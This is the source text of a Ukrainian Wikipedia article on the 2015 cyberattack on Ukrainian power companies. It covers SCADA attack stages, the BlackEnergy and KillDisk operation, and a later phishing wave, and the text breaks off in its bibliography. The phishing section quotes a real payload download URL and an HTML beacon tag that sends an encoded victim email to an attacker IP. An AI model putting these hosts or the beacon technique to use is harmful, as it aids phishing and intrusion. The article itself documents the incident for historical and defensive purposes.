Перегляд вихідного коду сторінки Кібератака на енергетичні компанії України

{{Картка події
| title                    = Кібератака на енергетичні компанії України
| image                    = BlackEnergy infected document screenshot.png
| image_size               = 300px
| image_alt                =
| caption                  = Знімок екрану відкритого документу, зараженого трояном [[BlackEnergy]]. З такого документа і почалось проникнення в комп'ютерну мережу диспетчерської «Прикарпаттяобленерго».
| native_name              =
| native_name_lang         =
| english_name             =
| time                     =
| duration                 =
| date                     = 23 грудня 2015 року <!-- {{start date|YYYY|MM|DD}} or {{start and end dates|YYYY|MM|DD|YYYY|MM|DD}} -->
| venue                    =
| location                 = {{Країна з прапорцем|Україна}}:
* [[Івано-Франківська область]],
* [[Київська область]],
* [[Чернівецька область]]
| coordinates              = <!-- {{coord|LAT|LON|region:XXXX_type:event|display=inline,title}} -->
| also_known_as            = Перша зареєстрована успішна [[кібератака]] на енергетичну систему з виведенням її із ладу
| type                     = [[кібератака]]
| theme                    = кібератака на автоматизовану систему управління технологічними процесами
| cause                    =
| first_reporter           =
| budget                   =
| patron                   = <!-- or |patrons= -->
| organisers               = <!-- or |organizers= -->
| filmed_by                =
| participants             =
| outcome                  =<br/>
* «Прикарпаттяобленерго»: вимкнено близько 30 підстанцій, близько 230 тисяч мешканців залишались без світла протягом однієї-шести годин.
* «Київобленерго»: відключено 30 вузлових підстанцій від яких живиться низка стратегічних об'єктів, понад 80 тисяч споживачів були без електрики протягом однієї-трьох годин.
| casualties1              =
| casualties2              =
| casualties3              =
| reported deaths          =
| reported injuries        =
| reported missing         =
| reported property damage =
| burial                   =
| inquiries                =
| inquest                  =
| coroner                  =
| arrests                  =
| suspects                 = російське [[розвинена стала загроза|кіберзлочинне угрупування]] [[Sandworm]]
| accused                  =
| convicted                =
| charges                  =
| trial                    =
| verdict                  =
| convictions              =
| sentence                 =
| publication_bans         =
| litigation               =
| awards                   =
| url                      =
| blank_label              = <!-- or |blank_data= -->
| blank1_label             = <!-- or |blank1_data= -->
| blank2_label             = <!-- or |blank2_data= -->
| website                  = <!-- {{URL|example.com}} -->
| notes                    =
}}

'''Кібератака на енергетичні компанії України'''&nbsp;— перша зареєстрована успішна [[кібератака]] на енергетичну систему з виведенням її із ладу. Сталась [[23 грудня]] [[2015|2015 року]].

== Сутність ==
Російським зловмисникам вдалось успішно атакувати комп'ютерні системи управління трьох [[Список енергопостачальних підприємств України|енергопостачальних компаній України]]. Наступна, і набагато менш масштабна за наслідками, [[Кібератака на Укренерго|кібератака сталась вночі з 17 на 18 грудня 2016 року]]. Протягом трохи більше однієї години була виведена з ладу підстанція «Північна» енергокомпанії «[[Національна енергетична компанія «Укренерго»|Укренерго]]», без струму залишились споживачі північної частини правого берегу [[Київ|Києва]] та прилеглих районів [[Київська область|області]]<ref name="mb.10"/>.

Найбільше від першої кібератаки постраждали споживачі «[[Прикарпаттяобленерго]]»: було вимкнено близько 30 підстанцій, близько 230 тисяч мешканців залишались без світла протягом однієї-шести годин. Атака відбувалась із використанням [[троянська програма|троянської програми]] [[BlackEnergy]]<ref name="ty">{{cite web
 |url          = http://texty.org.ua/pg/article/newsmaker/read/66125/Hakerska_ataka_Rosiji_na_ukrajinsku_jenergosystemu_jak
 |title        = Хакерська атака Росії на українську енергосистему: як це було
 |author       = Кім Зеттер, Wired
 |date         = 17 березня 2016
 |website      = ТЕКСТИ
 |accessdate   = 18 березня 2016
 |archive-date = 25 лютого 2022
 |archive-url  = https://web.archive.org/web/20220225152407/https://texty.org.ua/articles/66125/Hakerska_ataka_Rosiji_na_ukrajinsku_jenergosystemu_jak-66125/
}}</ref>.

Водночас синхронних атак зазнали «[[Чернівціобленерго]]» та «[[Київобленерго]]», але з меншими наслідками. За інформацією одного з обленерго, підключення зловмисників до його інформаційних мереж відбувалося з підмереж глобальної мережі Internet, що належать провайдерам в [[Росія|Російській Федерації]]<ref name="mpe.12">{{cite web
 | url = http://mpe.kmu.gov.ua/minugol/control/uk/publish/article?art_id=245086886&cat_id=35109
 | title = Міненерговугілля має намір утворити групу за участю представників усіх енергетичних компаній, що входять до сфери управління Міністерства, для вивчення можливостей щодо запобігання несанкціонованому втручанню в роботу енергомереж
 | date = 12 лютого 2016
 | publisher = Міністерство енергетики та вугільної промисловості України
 | accessdate = 24 червня 2016
 | archive-date = 22 липня 2020
 | archive-url = https://web.archive.org/web/20200722010118/http://mpe.kmu.gov.ua/minugol/control/uk/publish/article?art_id=245086886&cat_id=35109
 }}</ref>.

Загалом кібератака мала комплексний характер та складалась щонайменше з таких складових:<ref name="mpe.12"/>
* попереднє зараження мереж за допомогою [[Фішинг|підроблених листів]] електронної пошти з використанням методів [[Соціальна інженерія (безпека)|соціальної інженерії]];
* захоплення управління [[Автоматизована система дистанційного управління|АСДУ]] з виконанням операцій вимикань на підстанціях;
* виведення з ладу елементів ІТ інфраструктури ([[джерело безперебійного живлення|джерела безперебійного живлення]], [[модем]]и, RTU, [[Мережевий комутатор|комутатори]]);
* знищення інформації на серверах та робочих станціях (утилітою [[KillDisk]]);
* атака на телефонні номери кол-центрів, з метою [[DoS-атака|відмови в обслуговуванні]] знеструмлених абонентів.

Перерва в електропостачанні склала від 1 до 3,5 годин. Загальний недовідпуск&nbsp;— 73&nbsp;[[Ват-година|МВт·год]] (0.015&nbsp;% від добового обсягу споживання України)<ref name="mpe.12"/>.

Внаслідок [[Кібератака на Укренерго|другої кібератаки]], в грудні 2016 року, струм був відсутній протягом трохи більше однієї години<ref name="mb.10"/>.

== Передісторія ==

[[Файл:Scada std anim no lang.gif|thumb|Приклад візуалізації виробничого процесу в людино-машинному інтерфейсі АСУ ТП]]

[[Інформаційна система|Інформаційні системи]], відповідальні за управління роботою об'єктів інфраструктури відносять до класу [[Автоматизована система керування технологічним процесом|автоматизованих систем керування технологічним процесом]] (скорочено АСК&nbsp;ТП; або {{lang-en|industrial control systems}}, ICS). Усі АСК&nbsp;ТП ділять на три класи: системи диспетчерського управління і збирання даних ([[SCADA]]), [[Розподілена система керування|розподілені системи керування]] (РСК), [[програмований логічний контролер|програмовані логічні контролери]] (ПЛК)<ref name="shakarian.11"/>.

Або загальних рисах, [[електрична мережа]] є об'єктом інфраструктури, який сполучає споживачів [[електрична енергія|електричної енергії]] з її виробниками<ref name="shakarian.12">{{Cite book
 | publisher = Syngress
 | isbn = 978-0-12-407814-7
 | last1 = Shakarian| first1 = Paulo| last2 = Shakarian
 | first2 = Jana| last3 = Ruef| first3 = Andrew
 | title = Introduction to cyber-warfare: a multidisciplinary approach
 | location = Amsterdam ; Boston| date = 2013
 | chapter = 12. Can Cyber Warfare Leave a Nation in the Dark? Cyber Attacks Against Electrical Infrastructure
}}</ref>. У будь-якому процесі управління існує об'єкт, яким управляють ([[вимикач]], [[трансформатор]], [[генератор]]) і орган, який здійснює управління (технічний засіб, людина). У процесі управління цей орган отримує інформацію про стан зовнішнього середовища, де перебуває об'єкт і з яким він пов'язаний. Уся ця інформація сприймається управляючим органом, який виробляє на її основі управляючу інформацію (приймає рішення). На основі прийнятого рішення виконавчий орган здійснює управляючий вплив на об'єкт управління<ref>http://www.d-learn.pu.if.ua/data/users/9645/Lecture1_ISU.pdf {{Webarchive|url=https://web.archive.org/web/20160816063527/http://www.d-learn.pu.if.ua/data/users/9645/Lecture1_ISU.pdf |date=16 серпня 2016 }} Лекція 1. Загальна характеристика автоматизованих систем управління</ref>. При цьому оператор засобами [[Людино-машинна взаємодія|людино-машинної взаємодії]] може впливати на параметри роботи АСУ ТП, керувати об'єктом управління, здійснювати діагностику, переглядати за поточним станом системи та виправляти виявлені несправності<ref name="shakarian.11"/>.

Складні інформаційні системи управління роблять системи автоматизації електричними мережами вразливими перед кібератаками. В праці<ref name="wei.2011">{{cite journal
 | author = Wei D, Yan L, Jafari M, Skare PM, Rohde K.
 | title = Protecting smart grid automation systems against cyberattacks
 | journal = IEEE Trans Smart Grid
 | year = 2011
 | issue = 2
 | volume = 4
 | doi = 10.1109/TSG.2011.2159999
 | pages = 782–795
}}</ref> дослідники виокремили три категорії можливих кібератак:
* ''націлені на компоненти'': електронно-обчислювальні прилади, такі як [[віддалений термінал|віддалені термінали]] (RTU) або [[Людино-машинний інтерфейс|людино-машинного інтерфейсу]] (HMI) зазвичай мають інтерфейс для віддаленого налаштування або управління. Через віддалений доступ зловмисник може перехопити управління пристроєм та спричинити несправності, наприклад:
*# спотворити передані дані оператору;
*# пошкодити обладнання, якщо оператор здійснює управління на основі спотворених даних;
*# взагалі повне або часткове виведення пристрою з ладу.
* ''націлені на протоколи'': майже всі сучасні протоколи передачі даних добре задокументовані та їхнє описання знаходиться у відкритому доступі. Наприклад, стандарт [[DNP3]] поширений в системах управління електричними мережами у [[Північна Америка|Північній Америці]]. Його специфікація доступна всім охочім за невелику ціну. Документація протоколу полегшує завдання [[Зворотна розробка|зворотної розробки]] для здійснення атаки типу [[Атака «людина посередині»|«людина посередині»]]. Серед іншого, зловмисник може відправляти спотворені дані, які можуть призвести до:
*# фінансові втрати через перевиробництво елеткричної енергії;
*# небезпека для працівників: наприклад, зловмисник може увімкнути живлення ЛЕП коли там працюють інженери;
*# пошкодження обладнання, якщо внаслідок відправлених команд станеться перенавантаження окремих ланок системи.
* ''націлені на топологію'': зловмисники можуть скористатись також і вразливостями топології мережі. Наприклад, масована відправка коректних запитів на віддалені термінали може створити затримки у відправленні повідомлень в режимі реального часу. Це призведе до спотвореного представлення стану системи оператору, через що він може ухвалювати помилкові рішення<ref name="wei.2011"/>.

Так само, як під час звичайної [[війна|війни]], об'єкти інфраструктури є мішенями атак і під час [[кібервійна|кібервійни]]<ref name="shakarian.11">{{Cite book| publisher = Syngress| isbn = 978-0-12-407814-7| last1 = Shakarian| first1 = Paulo| last2 = Shakarian| first2 = Jana| last3 = Ruef| first3 = Andrew| title = Introduction to cyber-warfare: a multidisciplinary approach| location = Amsterdam ; Boston| date = 2013 | chapter = 11. Cyber Warfare Against Industry }}</ref>.

Станом на 2016 рік вже були відомі успішні віддалені кібератаки на об'єкти інфраструктури. Наприклад, в 2000 році розлючений інженер Вайтек Боуден вирішив провчити своє керівництво і здійснив успішну кібератаку на [[очисні споруди]] в графстві [[Маручі]] ([[Квінсленд]], [[Австралія]]). Внаслідок атаки до навколишнього середовища потрапило понад 800 тис. літрів неочищених [[Стічні води|стічних вод]], природа та живі істоти зазнали істотної шкоди<ref name="shakarian.11"/>.

== Приклад типової атаки ==

=== Доступ ===

Для здійснення атаки на системи промислового управління зловмисник спочатку має отримати до них доступ. В праці<ref name="wei.2011"/> названо три поширених шляхи отримання несанкційованого доступу<ref name="shakarian.12"/>:
* атака на [[Мережевий шлюз|шлюз]] між корпоративною мережею та мережею SCADA;
* атака на зовнішні канали доступу до мережі SCADA через [[VPN]];
* зв'язок зі сторонніми серверами.

Для нормальної роботи систем управління необхідний певний обмін інформацією . Зазвичай, інформація зі SCADA потрапляє до тих чи інших баз даних, і долає деякий мережевий шлюз між комерційною та промисловою підмережами. Шлях для обміну інформацією може бути вразливим до атак<ref name="wei.2011"/>.

Також системи SCADA можуть обмінюватись інформацією з терміналами операторів. Злам операторського терміналу також може бути використаний зловмисником для проникнення до мережі SCADA<ref name="wei.2011"/>.

Вразливим до атак може бути і віддалений доступ операторів або інших інженерів до систем SCADA через [[VPN]], особливо у випадку невірного налаштування<ref name="wei.2011"/>.

Вразливість можуть становити сторонні сервери (архівування даних, розробників, аналітиків, тощо) та їхнє підключення до системи промислового управління<ref name="wei.2011"/>.

=== Розвідка ===

Після здобуття доступу до мережі промислового управління, зловмисник має здійснити розвідку, аби вивчити схему роботи SCADA. Інколи, надзвичайна складність систем SCADA посилює захист від атаки та примушує зловмисника витрачати час та сили на її вивчення<ref name="wei.2011"/>.

Одразу після вторгнення зловмисник, швидше за все, матиме дуже обмежений доступ до решти мережі.

Серед доступних йому джерел інформації можуть бути внутрішні вебсервери, робочі станції операторів, мережеві диски, інші інтерфейси до керованих систем. Ці джерела інформації можуть бути доступними всім терміналам у мережі, інколи навіть без автентифікації користувача<ref name="wei.2011"/>.

Іншим джерелом інформації може стати пасивна розвідка комп'ютерної мережі. Успіх цього методи істотно залежить від знаходження зкомпрометованої системи в мережі та вимагає від операторів виконувати якісь дії (аби генерувати потоки даних). На відміну від попереднього підходу, може надати інформацію про облікові дані користувачів, використані ними протоколи, налаштування, тощо. Також пасивна розвідка мережі не потребує відправки пакетів даних і тому непомітна [[IDS|системам виявлення вторгнень]]. Якщо зкомпрометована система знаходиться в одній мережі з основними складовими SCADA, зловмисник матиме можливість розвідки використаних протоколів та команд<ref name="wei.2011"/>.

Зловмисник може вдатись і до активної розвідки мережі. Для цього йому знадобиться доступ до зкомпрометованої системи з правами адміністратора, оскільки цей метод передбачає можливість відправляти мережею спеціально сформовані пакети даних. Однак, ці пакети можуть бути помічені системою виявлення вторгнень, внаслідок чого системні адміністратори дізнаються про існування в мережі зкомпрометованої системи. На противагу попереднім методам, цей метод дозволяє зловмисникові дізнатись про доступні зі зкомпрометованої системи пристрої та інші термінали в мережі<ref name="wei.2011"/>.

Нарешті, для розуміння та відтворення промислового процесу зловмисникові доведеться ретельно вивчити отриману ним інформацію. Наприклад, із перехоплених повідомлень він може дізнатись про існування терміналу «Вимикач-4А», але йому доведеться докласти додаткових зусиль аби збагнути, що це за вимикач, та як він впливає на систему в цілому<ref name="wei.2011"/>.

=== Перехоплення управління ===

Після вивчення промислового процесу, зловмисник може перейти до перехоплення управління ним. Різні методи можуть надавати різний рівень контролю, а відповідно, і результати атаки<ref name="wei.2011"/>.

Серед найважливіших об'єктів для атаки є головний диспетчерський блок ({{lang-en|front-end processor}}, FEP), який відповідає за взаємодію між [[програмований логічний контролер|програмованими логічними контролерами]] та іншими компонентами системи SCADA, зокрема, з людино-машинним інтерфейсом з оператором<ref name="wei.2011"/>.

Іще однією важливою мішенню для зловмисника може бути [[людино-машинний інтерфейс]] (HMI), оскільки він доступно представляє стан всієї системи та надає можливість оператору керувати нею. Однак, можливості для атаки будуть обмежені можливостями людино-машинного інтерфейсу і тому зловмисникові може не вдатись вивести систему з ладу або завдати якоїсь істотнішої шкоди<ref name="wei.2011"/>.

Атака на людино-машинний інтерфейс є атакою націленою на компоненту. З її переваг можна назвати те, що вона може бути здійснена із використанням звичайних підходів та інструментів, не пов'язаних з промисловими системами управління. Також атака на людино-машинний інтерфейс дозволить зловмисникові приховати свою діяльність під виглядом звичайної роботи оператора<ref name="wei.2011"/>.

Схожою на атаку на людино-машинний інтерфейс може бути атака на робочі станції інженерів ({{lang-en|engineering workstation}}, EWS), залучених в розробці програмного забезпечення для людино-машинного інтерфейсу та іншого системного ПЗ. Перевага атаки на робочі станції полягає в тому, що вони можуть не мати обмежень, які накладає людино-машинний інтерфейс<ref name="wei.2011"/>.

Зловмисник, після вивчення протоколу між людино-машинним інтерфейсом і контролерами, може здійснити спуфінгову атаку&nbsp;— відправляти підроблені команди контролерам або спотворювати дані, передані оператору<ref name="wei.2011"/>.

Програмовані логічні контролери, особливо під'єднані до мережі, можуть бути іще одним об'єктом атаки. Інколи програмовані контролери доступні через вебслужби, [[модем]]и, протокол [[Telnet]]. Погано захищений контролер може видати зловмиснику не лише інформацію про свій стан, а й навіть про запрограмовану логіку та [[Вбудована програма|вбудовану програму]]<ref name="wei.2011"/>.

== Перша хвиля ==

=== «Прикарпаттяобленерго» ===

Нападники змогли отримати доступ до корпоративної мережі компанії завдяки вдалому зараженню комп'ютера одного із співробітників трояном [[BlackEnergy]] третьої версії. Проте, мережі цифрових контролерів, які власне і керують обладнанням, знаходились за [[Мережевий екран|мережевими екранами]].

Протягом багатьох місяців вони проводили масштабну розвідку, досліджували та описували мережі і здобували доступ до служби Windows Domain Controllers, яка керує обліковими записами користувачів мереж. Тут вони зібрали реквізити співробітників, у тому числі паролі від захищеної мережі VPN, яку працівники енергокомпаній використовували для віддаленого підключення до мережі [[SCADA]].

Здобувши доступ до внутрішньої мережі нападники переконфігурували [[Джерело безперебійного живлення|пристрої безперебійного живлення]] (UPS), відповідальні за енергопостачання двох диспетчерських центрів.

Кожне обленерго використовувало власну систему управління розподілом енергії у своїх мережах, і під час фази розвідки нападники ретельно вивчили кожну з них. Тоді вони написали шкідливий мікрокод, яким замінили справжній [[Вбудована програма|вбудований мікрокод]] на конвертерах із серійного інтерфейсу на інтерфейс [[Ethernet]] у понад десяти підстанціях (ці конвертери застосовуються для обробки команд, які надходять від мережі SCADA до систем управління підстанцією).

Виведення з ладу конвертерів не давало операторам змогу посилати віддалені команди для повторного включення запобіжників після того, як енергію було вимкнено.

Приблизно о 3:30 по обіді 23 грудня вони зайшли в мережі SCADA через вкрадені облікові записи і віддали команди на вимкнення систем безперебійного живлення, які вони вже переконфігурували раніше. Після цього вони почали вимикати запобіжні системи, які переривали живлення.

Але перед цим вони запустили атаку за методикою «[[відмова від обслуговування]]» на кол-центри обленерго, аби користувачі не могли повідомити про аварію. Фіктивні дзвінки, судячи з усього, надходили з [[Москва|Москви]].

Після того, як нападники вимкнули запобіжники і відключили низку підстанцій від мережі, вони також переписали програмний мікрокод на конвертерах із серійного інтерфейсу на інтерфейс Ethernet, замінивши «справжнє» програмне забезпечення шкідливим, і тим самим вивівши з ладу конвертери, які перестали виконувати команди.

Завершивши всі ці дії, зловмисники застосували програму під назвою [[KillDisk]] для знищення файлів з комп'ютерів операторів підстанцій, тим самим вивівши і їх з ладу. KillDisk стирає чи перезаписує дані в критично важливих системних файлах, викликаючи їхнє «зависання».

Деякі з компонентів KillDisk потрібно запускати вручну, але нападники у двох випадках застосували так звану «[[логічна бомба|логічну бомбу]]», яка запустила KillDisk автоматично через 90 хвилин після початку атаки.

Через півгодини, коли KillDisk мав зробити свою справу і в операторів не залишилось сумнівів щодо причини масштабного зникнення світла, компанія розмістила друге повідомлення&nbsp;— про те, що до цього причетні хакери.

=== «Київобленерго» ===

Одночасно з атаками на західноукраїнські обленерго, хакери завдали потужного удару по комп'ютерних мережах «[[Київобленерго]]»: 23 грудня 2015 року сторонніми особами було здійснено несанкційоване втручання в інформаційно-технологічну систему віддаленого доступу до телеуправління обладнанням підстанцій 35-110 кВ ПАТ «Київобленерго»<ref name="gc.8">{{cite web
 | url = http://glavcom.ua/publications/334262-kibervijna-proti-ukrajini.-pershi-zhertvi-i-visnovki.html
 | title = Кібервійна проти України. Перші жертви і висновки
 | author = Наталка Прудка
 | publisher = Главком
 | date = 8 Квiтня 2016
 | accessdate = 24 червня 2016
 | archive-date = 14 червня 2016
 | archive-url = https://web.archive.org/web/20160614032407/http://glavcom.ua/publications/334262-kibervijna-proti-ukrajini.-pershi-zhertvi-i-visnovki.html
 }}</ref>

В результаті втручання виникли збої в роботі телемеханіки та було відключено 30 вузлових підстанцій (7&nbsp;— ПС-110 кВ та 23&nbsp;— ПС-35 кВ) від яких живиться низка стратегічних об'єктів області: підприємства, державні установи, заклади та населення. З 15:31 хв. до 16:30 хв. було повністю або частково відключено близько п'ятдесяти населених пунктів у Білоцерківському, Кагарлицькому, Миронівському, Фастівському, Сквирському, Макарівському, Рокитнянському, Іванківському та Яготинському адміністративних районах, без електричної енергії були понад {{formatnum:80378}} споживачів. Електропостачання було відновлено всім споживачам о 18:56 того ж дня<ref name="gc.8"/>.

== Друга хвиля ==

Невстановлені зловмисники здійснили наприкінці лютого 2016 року другу хвилю кібератак на компанії [[Електроенергетика України|енергетичного сектора України]]: 19 та 20 лютого ними було розіслано близько 100 отримувачам «вірусні» листи [[електронна пошта|електронною поштою]]<ref name="cys.29">{{cite web
 | url = https://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps
 | title = Атака на энергетические объекты 19-20 января 2016 года. Постфактум
 | publisher = CyS-CENTRUM
 | date = 29 лютого 2016
 | accessdate = 24 червня 2016
 | archive-date = 14 серпня 2016
 | archive-url = https://web.archive.org/web/20160814234423/https://cys-centrum.com/ru/news/attack_on_energy_facilities_jan_ps
 }}</ref>.

Перший етап «вірусної розсилки» розпочався надвечір 19 лютого 2016, другий етап розпочався зранку, до початку робочого дня 20 лютого (вівторок та середа відповідно). Тоді НЕК «[[Укренерго]]», довідавшись про масову розсилку листів начебто від її імені виступила із заявою на офіційному вебсайті<ref name="cys.29"/>.

Як і в попередній хвилі (грудень 2015 року), зловмисники скористались поширеним прийомом [[Соціальна інженерія (безпека)|соціальної інженерії]]: електронний лист мав вкладений документ-приманку, при перегляді якого жертві пропнується активувати макрос для коректнішого зображення вмісту<ref name="cys.29"/>.

Після відкриття документа на комп'ютері жертви створюється і запускається завантажувач, завданням якого є завантаження, декодування, та запуск шкідливої програми (файл: «root.cert»). У випадку цієї атаки шкідлива програма&nbsp;— [[бекдор]] був завантажений із зламаного іще в середині серпня 2015 року сервера, який фізично знаходився в Україні:<ref name="cys.29"/>
: http://193.239.152.131/8080/templates/compiled/synio/root.cert{{Недоступне посилання|date=липень 2019 |bot=InternetArchiveBot }}

На цьому етапі можна виокремити дві риси подібні до попередньої хвилі атак із застосуванням BlackEnergy:<ref name="cys.29"/>
# Для відправлення електронного листа зі шкідливим вкладенням «Ocenka.xls» був використаний відомий сервер:
#: Received: from mx2-mail.com (mx1-mail.com [5.149.248.67])
# Електронний лист, як і в першій хвилі, містив в тілі рядок (гіперпосилання на файл), назва якого містила закодовану в [[base64]] адресу електронної пошти жертви:
#: <syntaxhighlight lang="html"><DIV><IMG border=3D0 hspace=3D0 alt=3D""=20 src=3D"http://62.210.83.213/bWFpbF92aWN0aW1Ac29tZS5nb3YudWE=3D=.png"></DIV></syntaxhighlight>
#: Наприклад, в рядку "bWFpbF92aWN0aW1Ac29tZS5nb3YudWE=" закодована адреса <mail_victim@some.gov.ua>.

На відміну від попередньої хвилі, цього разу як бекдор була використана програма з відкритими кодами Gcat, а не потужніший та гнучкіший BlackEnergy. Програма Gcat написана мовою програмування [[Python]] та перетворена на [[.EXE]] файл програмою [[PyInstaller]]<ref name="wls.20"/>, як канал керування використана служба електронної пошти [[Gmail]]. Попри простоту цієї програми (в порівнянні з BlackEnergy версій 2 та 3), вона має низку переваг, одна з яких&nbsp;— ускладнення її виявлення методом [[Deep packet inspection|глибокого інспектування пакетів]] (DPI) каналу керування бекдором в інформаційних потоках (оскільки він нічим не відрізняється від звичайного використання поштової служби Gmail)<ref name="cys.29"/>.

Оскільки зловмисники залишили в [[Обфускація|обфускованому]] коді бекдору дані облікового запису каналу керування, стало можливим дослідити управління інфікованою системою з точки зору зловмисника. З проведеного дослідження випливало, що зловмисник здійснював атаку цілєспрямовано, скеровано на конкретну, вибрану ним жертву<ref name="cys.29"/>.

Завдяки вчасній реакції служб захисту інформаційних систем [[CyS-CERT]] та втручання [[CERT-UA]] була встановлена адреса сервера керування, задіяного в атаці, 20 лютого о 10:51 інтернет-провайдер [[Dream Line]] закрив до нього доступ<ref name="wls.20">{{cite web
 | url = http://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/
 | title = New wave of cyberattacks against Ukrainian power industry
 | author = Robert Lipovsky
 | publisher = We Live Security
 | date = 20 лютого 2016
 | accessdate = 24 червня 2016
 | archive-date = 9 липня 2016
 | archive-url = https://web.archive.org/web/20160709075403/http://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/
 }}</ref>. Цим були припинені подальші спроби завантаження бекдору. До роботи із збереження електронних доказів, збирання даних для ідентифікації причетних до атаки осіб, були залучені співробітники [[Служба безпеки України|СБУ]]<ref name="cys.29"/>.

В результаті додаткового розслідування було встановлено, що після першої розсилки надвечір 19 лютого щонайменше два співробітника із двох компаній відкрили документ-приманку, запустили макрос, в результаті чого був успішно завантажений бекдор, але завантажені бекдори встановитись не змогли<ref name="cys.29"/>.

20 лютого 2016 року, вже після першої та другої розсилок, був для зловмисників успішнішим днем. В проміжок між 08:42 та 10:39 бекдор був завантажений 9 співробітниками із 4 компаній. Однак, успішне встановлення бекдору з відкриттям каналу керування сталась лише на одному комп'ютері однієї компанії. При цьому зловмисники почали скеровану розвідку комп'ютерної мережі жертви, що може свідчити про те, що зловмисники були обізнані про сткрутуру інформаційної системи компанії та були причетні до атак в грудні 2015 року<ref name="cys.29"/>.

== Кібератака 17-18 грудня 2016 року ==
{{Main|Кібератака на Укренерго}}

У вечорі та вночі з суботи на неділю, [[17 грудня|17]] на [[18 грудня]] [[2016 рік|2016 року]] на підстанції «Північна» стався збій в автоматиці управління, через що споживачі північної частини правого берегу [[Київ|Києва]] та прилеглих районів [[Київська область|області]] залишились без струму. Несправності були усунуті протягом 1 години 15 хвилин. Основною версією стала кібератака&nbsp;— зовнішнє втручання через мережі передачі даних<ref>{{cite web
 | url = http://itc.ua/news/osnovnoy-versiey-nedavnego-otklyucheniya-elektrichestva-v-kieve-nazvana-kiberataka-hakerov/
 | title = Основной версией недавнего отключения электричества в Киеве названа кибератака хакеров
 | publisher = ITC.ua
 | date = 19 грудня 2016
 | accessdate = 19 грудня 2016
 | archive-date = 21 липня 2020
 | archive-url = https://web.archive.org/web/20200721113753/https://itc.ua/news/osnovnoy-versiey-nedavnego-otklyucheniya-elektrichestva-v-kieve-nazvana-kiberataka-hakerov/
 }}</ref>. Оператор підстанції, компанія «[[Національна енергетична компанія «Укренерго»|Укренерго]]» спочатку не стала підтверджувати кібератаку, проте залучені до розслідування фахівці з комп'ютерної безпеки підтвердили, що збій стався внаслідок кібератаки. Проміжні результати розслідування були представлені фахівцями Олексієм Ясінським від компанії Information Systems Security Partners (Україна) та Мариною Кротофіл від Honeywell Industrial Cyber Security Lab [[10 січня]] [[2017 рік|2017 року]] на конференції S4 у [[Флорида|Флориді]], [[Сполучені Штати Америки|США]]. Однак, нападники не стали завдавати істотної шкоди, натомість дана атака мала послужити «демонстрацією сили». Як і у попередніх випадках, дана атака була частиною масштабнішої фішингової операції проти державних установ України<ref name="mb.10">{{cite web
 | url = https://motherboard.vice.com/read/ukrainian-power-station-hacking-december-2016-report
 | title = The Ukrainian Power Grid Was Hacked Again
 | author = Kim Zetter
 | date = January 10, 2017
 | publisher = Vice Motherboard
 | accessdate = 12 січня 2017
 | archive-date = 18 січня 2017
 | archive-url = https://web.archive.org/web/20170118201525/http://motherboard.vice.com/read/ukrainian-power-station-hacking-december-2016-report
 }}</ref>.

На початку червня 2017 року були оприлюднені доповіді фахівців компаній [[ESET]] та [[Dragos]], в яких було наведено результати ретельного аналізу шкідливого ПЗ, використаного в атаці. Дане ПЗ отримало назву Industroyer або Crash Override.<ref>{{cite web
 | url = https://www.wired.com/story/crash-override-malware
 | title = 'Crash Override': The Malware That Took Down a Power Grid
 | author = Andy Greenberg
 | date = 12.06.2017
 | publisher = Wired
 | accessdate = 13 червня 2017
 | archive-date = 13 червня 2017
 | archive-url = https://web.archive.org/web/20170613193637/https://www.wired.com/story/crash-override-malware/
 }}</ref><ref>{{cite web|title=Блекаут по-київськи: чим загрожує кібератака на енергомережу Києва і хто за нею стоїть|url=http://www.epravda.com.ua/publications/2017/06/15/626036/|publisher=Економічна правда|accessdate=17 червня 2017|archive-date=17 червня 2017|archive-url=https://web.archive.org/web/20170617225101/http://www.epravda.com.ua/publications/2017/06/15/626036/}}</ref>

== Інші кібератаки на енергетичні системи ==
{{Main|Перелік кібератак}}

Кібератаки на електростанції, диспетчерські, та енергетичну інфраструктуру траплялись як до, так і після кібератаки на «Прикарпаттяобленерго», зокрема:

* Восени 2012 року три зразки шкідливого ПЗ були виявлені на комп'ютерах енергетичної компанії в США. Шкідливе ПЗ потрапило до інформаційної системи на [[USB]]-носії, який один з інженерів використовував для архівування налаштувань системи управління. Слід зазначити, що вражені системи не мали резервних механізмів, тому видалення вірусів потребувало надзвичайної уваги<ref>{{cite web
 | url = https://ics-cert.us-cert.gov/monitors/ICS-MM201212
 | title = Monitor (ICS-MM201212) October-December 2012.
 | date = January 02, 2013
 | publisher = ICS-CERT
 | accessdate = 31 травня 2016
 | archive-date = 13 червня 2016
 | archive-url = https://web.archive.org/web/20160613051821/https://ics-cert.us-cert.gov/monitors/ICS-MM201212
 }}</ref><ref>{{cite web
 | url = http://www.esecurityplanet.com/malware/ics-cert-two-u.s.-power-plants-infected-with-malware.html
 | title = ICS-CERT: Two U.S. Power Plants Infected With Malware
 | author = Jeff Goldman
 | date = January 16, 2013
 | publisher = eSecurityPlanet
 | accessdate = 31 травня 2016
 | archive-date = 11 червня 2016
 | archive-url = https://web.archive.org/web/20160611155424/http://www.esecurityplanet.com/malware/ics-cert-two-u.s.-power-plants-infected-with-malware.html
 }}</ref>.
* Навесні 2016 року комп'ютерні віруси «W32.Ramnit» та «Conficker» були виявлені в інформаційній системі, яка виконує [[наукова візуалізація|візуалізацію]] пересування стрижнів із ядерним паливом, а також в офісній мережі атомної електростанції [[Gundremmingen]], що знаходиться за 120&nbsp;км на північний захід від [[Мюнхен]]а. За твердженнями оператора, цей інцидент не становив загрози для безпеки станції<ref>{{cite web
 |url          = http://www.reuters.com/article/us-nuclearpower-cyber-germany-idUSKCN0XN2OS
 |title        = German nuclear plant infected with computer viruses, operator says
 |author       = Christoph Steitz and Eric Auchard
 |date         = 27 квітня 2016
 |website      = Reuters
 |publisher    = https://www.facebook.com/Reuters
 |accessdate   = 31 травня 2016
 |archive-date = 4 червня 2016
 |archive-url  = https://web.archive.org/web/20160604001344/http://www.reuters.com/article/us-nuclearpower-cyber-germany-idUSKCN0XN2OS
}}</ref>.

== Примітки ==
{{reflist|2}}

== Література ==

* {{cite book
 | url = https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
 | title = Analysis of the Cyber Attack on the Ukrainian Power Grid. Defense Use Case
 | publisher = E-ISAC
 | date = 18 березня 2016
 | author = Robert M. Lee, Michael J. Assante, Tim Conway
 | accessdate = 8 червня 2016
 | archive-date = 1 квітня 2018
